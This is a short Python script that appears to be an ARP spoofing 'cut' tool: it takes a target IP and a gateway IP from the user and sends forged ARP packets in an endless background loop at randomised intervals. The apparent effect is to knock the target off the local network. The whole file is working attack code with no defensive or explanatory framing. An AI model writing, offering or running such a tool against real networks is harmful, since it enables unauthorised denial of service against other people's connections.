from sdk.spoof import ArpCutPacket
from sdk.sr import sendf
from sdk.hackrandom import randsleep
from time import sleep
from random import randint
from threading import Thread

def main(target, gateway):
    def _main(target, gateway):
        packet = ArpCutPacket(target, gateway)
        while True:
            sendf(packet, randint(1, 3))
            print('', end='.')
            sleep(randint(100, 120)/100)
    
    Thread(target=_main, args=(target, gateway)).start()

if __name__=='__main__':
    target_ip = input('target_ip:')
    gateway_ip = input('gateway_ip:')
    
    thread = main(target_ip, gateway_ip)